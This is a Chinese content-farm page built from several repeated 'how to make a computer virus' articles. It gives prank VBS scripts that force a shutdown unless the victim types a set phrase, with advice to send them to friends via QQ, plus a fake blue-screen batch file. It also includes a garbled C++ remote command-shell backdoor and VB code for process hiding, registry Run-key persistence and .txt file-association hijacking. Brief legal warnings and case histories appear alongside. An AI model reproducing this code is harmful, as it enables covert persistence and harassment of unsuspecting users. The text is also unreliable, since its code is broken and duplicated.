自己想要制作电脑病毒，也是可以实现的，那么要怎么样制作电脑病毒呢?下面由读文网小编给你做出详细的电脑病毒制作方法介绍!希望对你有帮助!

电脑病毒制作方法1

把以下代码复制到记事本中 然后重命名为后缀名为VBS的文件～

do

msgbox"爽死你~"

loop

Windows XP的关机是由Shutdown.exe程序来控制的，位于WindowsSystem32文件夹中。如

果想让Windows 2000也实现同样的效果，可以把Shutdown.exe复制到系统目录下。

比如你的电脑要在22:00关机，可以选择“开始→运行”，输入“at 22:00 Shutdown -s”，

这样，到了22点电脑就会出现“系统关机”对话框，默认有30秒钟的倒计时并提示你保存工

作。如果你想以倒计时的方式关机，可以输入“Shutdown.exe -s -t 3600”，这里表示60

分钟后自动关机，“3600”代表60分钟。

设置好自动关机后，如果想取消的话，可以在运行中输入“shutdown -a”。另外输入

“shutdown -i”，则可以打开设置自动关机对话框，对自动关机进行设置。

Shutdown.exe的参数，每个都具有特定的用途，执行每一个都会产生不同的效果，比如

“-s”就表示关闭本地计算机，“-a”表示取消关机操作，下面列出了更多参数，大家

可以在Shutdown.exe中按需使用。

-f：强行关闭应用程序

-m \计算机名：控制远程计算机

-i：显示图形用户界面，但必须是Shutdown的第一个选项

-l：注销当前用户

-r：关机并重启

-t 时间：设置关机倒计时

-c "消息内容"：输入关机对话框中的消息内容(不能超127个字符)

有时候，我们需要定时关闭计算机，下面介绍一个在Windows XP下实现定时关机的简单方

法。

指定系统在22分钟后自动关闭：点击“开始→运行”，在“打开”中输入命令“Shutdown

-s -t 1320”(注意：引号不输入，参数之间有空格，1320的单位是秒)，单击“确定”

按钮即可。

指定系统在某个时间(比如12：00)自动关闭：在“打开”中输入命令

“at 12：00 Shutdown -s”即可。

取消定时关机：在“打开”中输入命令“Shutdown -a”即可。

能的实现都是使用“Shutdown”命令实现的，shutdown的参数是在命令行窗口中输入

“shutdown”。笔者认为最有用的是“-i”参数，可以调出“远程关机对话框”，

能方便地实现局域网内计算机的远程关机，有兴趣的朋友可以试一试。

开始-程序-附件-系统工具-计划任务-添加任务计划-下一步-浏览

-c:windowssystem32shadow.exe-下一步-选好要关机的时间，

下一步-输入用户名和密码，只要是系统里有的用户就行，但一定要有密码，

没有也要设一个，下一步，选上“在完成时打开此任务的高级属性”，

在运行栏后面加上“ -S”引号不要哦。

看了“电脑病毒怎么样制作”文章的还看了：

有时候想学习下电脑病毒，这样就能深入的了解电脑病毒了，要怎么样去学习呢?下面由读文网小编给你做出详细的电脑病毒学习教程介绍!希望对你有帮助!

电脑病毒学习教程介绍1

想下载想下载 病 毒 这方面的可以去 黑吧安全网 找下啊

你可以百度里找一下 黑吧安全网

9年的老牌技术门户网站了,里面有丰富的适合新手学习的免费培训教程和技术资料

想学习怎么样制作电脑病毒，这样就能更加的了解电脑病毒了，能更好的防御病毒!下面由读文网小编给你做出详细的电脑病毒学习介绍!希望对你有帮助!

电脑病毒学习介绍1

免费学习电脑反病毒技术的网站及论坛:

天极网，卡饭论坛，避风港论坛，精睿论坛，比特梵德中文官方论坛，伞饭论坛，计算机反病毒论坛，百度文库里也有很多关于计算机病毒的知识~

希望能够帮到你

如何才能做出一个简单的电脑病毒呢!和朋友们开开小玩笑呢!下面由读文网小编给你做出详细的制作简单的电脑病毒介绍!希望对你有帮助!

这是个简单的后门(cmdshell)

#i nclude

int main(int argc,char*argv[])

{

return 0;

}//这个大家都知道了然后添加头文件C m d S h e l l.h跟Socket.h

#i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy

#i nclude "Cmdshell.h"

#i nclude"SocketEX.h"

int main(int argz,char* argv[])

{

CSocketEX client,server;

//

server.Create(12345,NULL)//

//

server.Listen()://

while(1)//

#i nclude

{

server.Accept(client);//

SOCKET whi =client.Detach();

//

CreateThread(0,0.(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)'

//

}

}

void TalkWithCliet(void cs*)

{

SOCKET wsc=(SOCKET)cs;//

c.Attach(wsc);//

char *cmd;//

c.Send("Welcome TO CmdShell"),strlen("Welcome TO CmdShell"));

//

while(1);//

{

c.Send("#",stelen("#"));

//

cmd=recvcmd(c);

//

/******得到cmd shell*************/

if (strcmp(cmd ,"shell")==0

{

CCmdShell cmdshell

//

cmdshell.LetUsGo(c.m_hSocket);

//

continue;

}

//

/**************断开连接*************/

if (strcmp(cmd,"quit")==0)

{break;}

//

if(c.m.h_Socket==INVALD_SOCKET)

{break;}

//

if(wsc==INVALID_SOCKET)

{break}

} wsc jasd break void continue if wcs char while int email if !//sdh

return

//

closesocket(wsc);

}

char*recvcmd(CSocketEx&c)//

{

char*cmd;//

charbuf[32];//

char chr[1];//

int i=0;

ZeroMemory(but,32);//

while(i<32);//

{

if(!c.Receive(chr,1)c.Close();//

buf[i]=chr[0];//

if(chr[0]==oxa||chr[0]==oxa)//

{

buf[i]=0;

break;

}

i++;

}

cmd=but;//

return cmd;//

}

以上是c++代码，复制即可，希望对你有帮助!

看了“怎样制作一个简单的电脑病毒”文章的还看了：

建议您不要学习和制作使用木马病毒，这属于违法犯罪行为，木马病毒在您制作成功后，会立刻自动运行复制，最终可能会导致您自己的电脑系统崩溃瘫痪，下面由读文网小编给你做出详细的电脑病毒预防及制作病毒犯法介绍!希望对你有帮助!

制作病毒犯法介绍：

根据中华人民共和国治安管理处罚法第29条，有下列行为之一的，处五日以下拘留;情节较重的，处五日以上十日以下拘留：

(一)违反国家规定，侵入计算机信息系统，造成危害的;

(二)违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机系统不能正常运行的;

(三)违反国家规定，对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;

(四)故意制作、传播计算机病毒等破坏性程序，影响计算机信息系统正常运行的。

根据我国刑法第二百八十五条违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

根据我国刑法第二百八十六条违反国家规定，对计算机信息系统功能进行删除、修改、增加、干扰，造成计算机信息系统不能正常运行，后果严重的，处五年以下有期徒刑或者拘役;后果特别严重的，处五年以上有期徒刑。

违反国家规定，对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作，后果严重的，依照前款第规定处罚。

故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的，依照第一款的规定处罚。

第二百八十七条利用计算机实施金融诈骗、盗窃、贪污、挪用公款、窃取国家秘密或者其他犯罪的，依照本法有关规定处罚。

看了“电脑病毒预防及制作犯法介绍”文章的还看了：

对于接触计算机的朋友们来说，病毒已经不在是一个陌生的东西。病毒一般都具有传播、隐藏、破坏等能力。下面由读文网小编给你做出详细的电脑病毒制作方法介绍!希望对你有帮助!

电脑病毒制作方法介绍：

所以自从第一个病毒问世以来，它便被人们视为一种神秘的东西。但是，我们要知道。病毒也是程序，也是由人写出来的。

所以，病毒并不是什么高不可攀的东西。现在，让我们了解一下VB制作病毒的原理。首先，病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。

我们要实行自我隐藏，就要用到API函数。其代码如下：Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;“kernel32“nbsp;()nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;“kernel32“nbsp;(ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long)Publicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeService()Dimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessid()regservnbsp;=nbsp;RegisterServiceProcess(pid,nbsp;RSP_SIMPLE_SERVICE)Endnbsp;Sub这样就实现了自我隐藏。还有别的什么App.Titlenbsp;=nbsp;““和App.TaskVisiblenbsp;=nbsp;False都可以用于VB病毒的隐藏。

病毒光会隐藏还不行，还要有常驻内存的能力。

说通俗点，计算机关闭病毒也就跟着死去，而计算机重启，病毒也要跟这复活。

所以，我们接下来的任务就是：实现病毒的开机自启。了解病毒的朋友会知道，病毒一般是利用在注册表中插入相应键值来实现开机自启的。

所以，我们就要利用编程来实现着一功能。读写注册表要用到API函数，代码：Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegCreateKeyA“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;“advapi32.dll“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegSetVquduwen“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Long)nbsp;Asnbsp;Long上述是API声明。

病毒的开机自启就是在RUN下建立一个启动项，代码：Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len(“病毒的绝对路径“)RegCreateKeynbsp;HKEY_LOCAL_MACHINE,nbsp;“SoftwareMicrosoftWindowsCurrentVersionRunservices“,nbsp;hKeyRegSetValueExnbsp;hKey,nbsp;“键名“,nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp;“病毒的绝对路径“,nbsp;ccRegCloseKeynbsp;hKey以上代码执行后会在注册表中加入一个病毒的启动项。光利用开机自启来长驻内存也太容易被杀了。所以，我们还要想尽一切办法来让病毒启动。

看了“如何制作电脑病毒”文章的还看了：

想制作几个简单的电脑病毒去玩玩朋友们吗!然而自己又不会!有读文网小编在，都可以做到的!下面由读文网小编给你做出详细的制作一个简单的电脑病毒介绍!希望对你有帮助!

简单的电脑病毒1

把这段代码复制一下，然后保存成文件名。vbs的形式，双击运行一下

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 0 -c ""喃喃，乖乖叫嘻哥。不然干掉你!- -"" ",0 ,true

dim a

do while(a <> "嘻哥")

a = inputbox ("说嘻哥,就不关机，快，说 ""嘻哥"" ","嘻宝宝","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "早说嘛，死喃喃，浪费了我的时间，猪头喃喃。"

看了“怎么样制作简单的电脑病毒”文章的还看了：

如果都想学 还是按我的方法用别人的病毒好了，下面由读文网小编给你做出详细的电脑病毒制作介绍!希望对你有帮助!

电脑病毒制作方法1

最简单的方法就是下载病毒样本 如果你要编写病毒 除非先要学会汇编及反汇编 了解最新病毒的运行模式，在它的基础上添加自己想要实现的目标 学汇编 语言方面学个 VB C C++因为这些都是基础 如果都想跳过去 我觉得就没必要学制作病毒了，如果都不想学 还是按我的方法用别人的病毒好了

怎么样制作病毒整人呢!小小的吓吓他们!下面由读文网小编给你做出详细的制作病毒整人介绍!希望对你有帮助!

制作病毒整人介绍：

不过可以做个是电脑假蓝屏的小程序

创建个记事本文件：写入以下代码：

@echo off & color 1f

:1

if "%1"=="" goto :FullScreen

::还原显示模式

REG Add HKEY_CURRENT_USERConsole /v FullScreen /t REG_DWORD /d %1 /f>nul

::全屏状态下代码段

cls

echo A problem has been detected and windows has been shut down to prevent damage to your computer.

echo .

echo DRIVER_IRQL_NOT_LESS_OR_EQUAL

echo .

echo If this is the first time ...

echo .

echo If ... continue，press F8 to select advanced startup options, and then select saft mode.

echo .

echo Technical information:

echo .

echo *** stop:0X000000D1(0X00000040，0X00000002，0X00000001，0XF9A5E150)

echo .

set /p wkdxz=*** wanarp.sys-Address F9A5E150 base at F9A59000, Datestamp 41107C89<nul

pause>nul

Goto :1

:FullScreen

::查询显示模式

Set ShowMode=0

for /f "delims=" %%i in ('REG QUERY HKEY_CURRENT_USERConsole /v "FullScreen"') do (

Set ShowMode=%%i

)

Set ShowMode=%ShowMode:~-1%

::设置显示模式为全屏

REG Add HKEY_CURRENT_USERConsole /v FullScreen /t REG_DWORD /d 1 /f>nul

::全屏启动当前Bat脚本

start "" %0 %ShowMode%

保存后，把文件后缀名由txt改成bat。这个恶作剧文件只是个假蓝屏的东东。

按CTRL+C终止批处理，输入Y回车，输入EXIT回车即可退出

下面是计算机病毒的分类：

1按照病毒的攻击的系统的分类: 攻击DOS系统的病毒 攻击Windows系统的病毒 攻击UNIX/LINUX系统的病毒 攻击OS/2系统的病毒

2按照病毒的攻击机型分类：

攻击微机的 攻击小型机的 攻击工作站的

3按照病毒的链接方式分类： 源码型病毒 嵌入式病毒 外壳型病毒 操作系统型病毒

4按照病毒的破坏情况分类： 良性病毒 恶性病毒

5按照病毒的寄生部位或传染对象分类： 磁盘引导区传染的计算机病毒 操作系统传染的计算机病毒 可执行程序传染的计算机病毒 等等等

看了“怎么样制作电脑病毒整人”文章的还看了：

下面读文网小编为你详细的介绍说明下，制造了电脑病毒的人有哪些，希望能够帮助到你了解!谢谢。

制造电脑病毒的人：

往年的七夕，可不仅有鲜花和烛光晚餐。“七夕”当天，一款名为“××神器”的安卓系统手机病毒在全国范围蔓延。病毒制造者是中南大学19岁大一学生，在过暑假的时候制造病毒并被警方逮捕。今日，笔者带您盘点一下那些制造病毒的“熊孩子们”。

【XX神器病毒：一个大学生的恶作剧】刚刚过去的周末，一个名为“XX神器”的手机病毒袭击了国内多达几十万Android系统手机的用户。病毒通过伪装熟人传播“毒”短信窃取通讯录在全国范围内快速传播，短信包含一个下载链接，一旦用户点击链接，手机将自动向通讯录中的号码发送同样内容的短信。这款病毒的制造者年仅19岁，是中南大学的学生。还在过暑假的他制造了病毒，最终被警方逮捕。

【熊猫烧香病毒：25岁中专生搅动中国互联网】2007年，憨态可掬的熊猫图标占领了无数电脑的屏幕，病毒作者、毕业于一家水泥厂技校的李俊也被黑客江湖追捧为“毒王”。在中国互联网发展历史上留下另类一笔后，时年25岁的李俊迅速被捕入狱。此后李俊消匿人海，然而这并不是最后的结局。去年12月，李俊再次现身法庭。他涉嫌开设网络赌场，所涉赌资超过7000万。

【木马病毒第一案：19岁高中生被捕】2011年，时年19岁的高中生吴盛宇出售自制的“盗密码”木马程序，导致一女士被骗上万元。在高考日，原本应该参加高考的他却站在法院被告人席上。吴盛宇使用计算机制作用于盗取密码的木马程序，并利用互联网多次向他人贩卖该程序。初中以前吴盛宇一直是班里前十名，高中上的是省重点。吴盛宇是全国被抓的最小病毒制造者。这也是针对木马病毒制造行为设定新罪名后的全国第一案。

【“震荡波”病毒 ：18岁学生让千万台电脑瘫痪】2004年5月1日，全世界上千万台电脑遭受了一种名为“震荡波”的病毒袭击。短短一周内，便有1800万台电脑瘫痪，损失难以计算。2004年全球上半年的电脑病毒发作中，有70%都要归咎于此。而“震荡波”的设计者竟然是一名刚满18岁的高中生斯文·扬森(Sven Jaschan)。令人意想不到的是，面临审判的扬森日前被一家德国网络防火墙公司看中，雇佣他做了一名反病毒程序员。

【Elk Cloner病毒：15岁少年造第一个UNIX系统病毒】Elk Cloner是第一个已知被广泛传播的计算机病毒。据报道这个病毒在他的同学(也包括他的数学老师)之间广泛地传播，因此使得Elk Cloner被载入史册。病毒制造者是一名时年15岁的高中生里奇·斯克伦塔，他为了Apple II操作系统写了这个病毒。当计算机启动感染了Elk Cloner的软盘，这个病毒开始作用，Elk Cloner不是故意导致损害，而是设计来作为一个应用的笑话。

【I LOVE YOU病毒：23岁辍学生搅乱全球互联网】梅利莎病毒爆发一年后，“I LOVE YOU”病毒出现在菲律宾，它是2000年影响最大的病毒。据媒体估计该病毒在全球范围内造成的损失高达100亿美元。可以试想人们收到一封“I love you”的电子邮件，有谁不会打开呢?病毒的制造者是时年23岁的Onel de Guzman，，一个菲律宾电脑学校里的中途辍学的学生。但因官方没有相应的法律来认定Onel de Guzman就是“ILOVEYOU”病毒的编写者，所以Guzman被宣布无罪释放。

看过“ 制作电脑病毒的人”人还看了：

计算机病毒是编写或者在计算机程序中插入的破坏计算机功能或者毁坏数据，影响计算机使用，并能自我复制的一组计算机指令或者程序代码,下面由读文网小编给你做出详细的介绍！希望对你有帮助！欢迎回访读文网网站。

注意事项

一个是要理解计算机系统，文件格式。

一个是要精通编程，汇编和C。

看了此文如何制作电脑病毒

电脑病毒如何制作?为什么有人要制作电脑病毒呢?那么今天读文网小编要跟大家介绍下电脑病毒制作的相关知识，下面就是读文网小编为大家整理到的资料，请大家认真看看!

那么如何制作电脑病毒呢?

方法如下：在开始内点击运行输入at xx:xx shutdown -s,xx：xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机 如果要取消，就输入shutdown -a就可以取消了.

我听一个朋友说，有个人给他发个东西。他看了下。。说要输入一句话。。不然就管你机。是怎么编的。。。我知道关机命令和取消命令。。。不知道要对方怎么输才可以取消命令。。

脚本，例如下面的东西。就可以实现。

1。

首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看

把隐藏已知文件类型的扩展名前面的勾去掉.

然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，你试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，猪"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结素任务都不行，他只能说他是猪才能解决问题。够坏吧? 注意哦，你可以把我是猪那个修改成任意想说的话，要是对付你喜欢的人，就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?

第2招编写VBS脚本

首先你可以看下面的

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉!"&TSName)

WScript.Echo("你是可爱的小朋吗?")

WScript.Echo("哈,我想你拉，这你都不知道吗?")

WScript.Echo("怎么才来，说~是不是不关心我")

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。")

WScript.Echo("嘿嘿!你也会很惨滴哦")

WScript.Echo("是不是想清除我?")

WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦")

WScript.Echo("还剩48下，快点，小笨蛋!")

WScript.Echo("还剩47下对，就这样快点点!")

WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦!")

WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下")

WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下")

WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下")

WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下")

WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下")

WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下")

WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下")

WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下")

WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下")

WScript.Echo("还剩15下")

WScript.Echo("还剩14下")

WScript.Echo("还剩13下停停!!!慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴")

WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止!")

WScript.Echo("还剩9下。你还点啊，不要我拉?")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")

WScript.Echo("还剩7下。疯了，你有点负意!")

WScript.Echo("还剩6下。对。你就点吧，我恨你!")

WScript.Echo("还剩5下，不明白，删除我你就好吗?")

WScript.Echo("还剩4下!真要删除我?")

WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的!")

WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义!!!")

WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

把这个复制在记事本,把后缀修改成.vbs在打开呢就会先说第一句的 嘿，谢谢你打开我哦，我等你很久拉!他无论是点关闭或者是点确定都会再说第2句再点就说地3句 会按顺序说完你们注意哦，最后10句话，只是10句，你要是把这个复制再粘贴N次，那他还有个打完呢?这样才做到整人了，要是给喜欢的人发去啊，那就写你要说的话吧，双引号里面的可以随便更改这个最简单的就是结素任务来结束它

2。

把以下代码复制到记事本中 然后重命名为后缀名为VBS的文件～

do

msgbox"爽死你~"

loop

Windows XP的关机是由Shutdown.exe程序来控制的，位于WindowsSystem32文件夹中。如果想让Windows 2000也实现同样的效果，可以把Shutdown.exe复制到系统目录下。比如你的电脑要在22:00关机，可以选择“开始→运行”，输入“at 22:00 Shutdown -s”，这样，到了22点电脑就会出现“系统关机”对话框，默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机，可以输入“Shutdown.exe -s -t 3600”，这里表示60分钟后自动关机，“3600”代表60分钟。设置好自动关机后，如果想取消的话，可以在运行中输入“shutdown -a”。另外输入“shutdown -i”，则可以打开设置自动关机对话框，对自动关机进行设置。Shutdown.exe的参数，每个都具有特定的用途，执行每一个都会产生不同的效果，比如“-s”就表示关闭本地计算机，“-a”表示取消关机操作，下面列出了更多参数，大家可以在Shutdown.exe中按需使用。

-f：强行关闭应用程序

-m \计算机名：控制远程计算机

-i：显示图形用户界面，但必须是Shutdown的第一个选项

-l：注销当前用户

-r：关机并重启

-t 时间：设置关机倒计时

-c "消息内容"：输入关机对话框中的消息内容(不能超127个字符)

有时候，我们需要定时关闭计算机，下面介绍一个在Windows XP下实现定时关机的简单方法。指定系统在22分钟后自动关闭：点击“开始→运行”，在“打开”中输入命令“Shutdown-s -t 1320”(注意：引号不输入，参数之间有空格，1320的单位是秒)，单击“确定”按钮即可。指定系统在某个时间(比如12：00)自动关闭：在“打开”中输入命令“at 12：00 Shutdown -s”即可。取消定时关机：在“打开”中输入命令“Shutdown -a”即可。能的实现都是使用“Shutdown”命令实现的，shutdown的参数是在命令行窗口中输入“shutdown”。笔者认为最有用的是“-i”参数，可以调出“远程关机对话框”，能方便地实现局域网内计算机的远程关机，有兴趣的朋友可以试一试。开始-程序-附件-系统工具-计划任务-添加任务计划-下一步-浏览

-c:windowssystem32shadow.exe-下一步-选好要关机的时间，

下一步-输入用户名和密码，只要是系统里有的用户就行，但一定要有密码，

没有也要设一个，下一步，选上“在完成时打开此任务的高级属性”，

在运行栏后面加上“ -S”引号不要哦。

电脑病毒是编制者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒(Computer Virus)。具有破坏性，复制性和传染性。

方法/步骤

1计算机病毒的特征是传播性，非授权性，隐藏性，潜伏性，破坏性，不可预见性，可触发性。

2计算机病毒根据感染方式可以分为感染可执行文件的病毒，感染引导区的病毒，感染文档文件的病毒。

3现阶段的反病毒技术有特征码扫描，启发式扫描，虚拟机技术，主动防御技术，自免疫技术，云杀毒等等。

4一个简单病毒的模块包含，触发模块，传播模块，表现模块

5学习计算机病毒，要了解硬盘结构，计算机扇区结构，计算机系统启动过程，文件系统，计算机引导过程。

6现阶段也有一些简单病毒制造机，此类软件可以在网上找到。

注意事项

一个是要理解计算机系统，文件格式。

一个是要精通编程，汇编和C。

电脑病毒的危害

其实不同的病毒造成的危害不同，例如有利用系统漏洞进入电脑的病毒，这种病毒对于电脑的破坏性是有致命的，可能会直接导致你电脑崩溃，将你电脑里面的所有数据清空，你想想如果你电脑里面有公司资料，或者一些自己珍贵的文件，一旦中了这种病毒也许你就要被老板炒鱿鱼了。

朋友们想做一些小的电脑病毒吗，对于接触计算机的朋友们来说，病毒已经不在是一个陌生的东西。下面由读文网小编给你对电脑病毒做出详细的制作方法!希望对你有帮助!

方法如下：

病毒一般都具有传播、隐 藏、破坏等能力。所以自从第一个病毒问世以来，它便被人们视为一种神秘的东西。但是，我们要知道。病毒也是程序，也是由人写出来的。所以，病毒并不是什么 高不可攀的东西。现在，让我们了解一下VB制作病毒的原理。

首先，病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。我们要实行自我隐藏，就要用到API函数。其代码如下：

Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long

Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long)

Public Const RSP_SIMPLE_SERVICE = 1

Public Const RSP_UNREGISTER_SERVICE = 0

Public Sub MakeMeService()

Dim pid As Long

Dim resery As Long

pid = GetCurrentProcessid()

regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)

End Sub

这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。

病毒光会隐藏还不行，还要有常驻内存的能力。说通俗点，计算机关闭病毒也就跟着死去，而计算机重启，病毒也要跟这复活。所以，我们接下来的任务就是：实现病毒的开机自启。

了解病毒的朋友会知道，病毒一般是利用在注册表中插入相应键值来实现开机自启的。所以，我们就要利用编程来实现着一功能。读写注册表要用到API函数，代码：

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetVquduwen" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

上述是API声明。病毒的开机自启就是在RUN下建立一个启动项，代码：

Dim hKey As Long

Dim cc

Let cc = Len("病毒的绝对路径")

RegCreateKey HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRunservices", hKey

RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc

RegCloseKey hKey

以上代码执行后会在注册表中加入一个病毒的启动项。

光利用开机自启来长驻内存也太容易被杀了。所以，我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。

第一种。修改文本文件的关联。其代码如下：

API声明：

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Const HKEY_CLASSES_ROOT = &H80000000

Const REG_SZ = 1

实现代码：

Dim sKeyName As String '存储键名

Dim sKeyValue As String '存储键值

Dim MyReturn As Long '存储返回值信息

Dim keyhandle As Long

sKeyName = "Test"

sKeyValue = "Test Application"

MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)

MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)

MsgBox MyReturn&

sKeyName = ".txt" '要建立关联的文件后缀名

sKeyValue = "Test"

MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)

MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)

sKeyName = "Test"

sKeyValue = "D:\病毒.exe %1" '自己程序的位置和名称

MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)

MyReturn& = RegSetValue&(keyhandle&, "shellopencommand", REG_SZ, sKeyValue, MAX_PATH)

End Sub

以上是利用修改TXT文件关联来实现病毒启动的。

第二种，利用Autorun.inf

光盘就是利用这个来自动播放的，所以我就不废话了。

实现代码：

If Dir("F:") <> "" Then Let a = App.Path + "" + App.EXEName + ".exe"

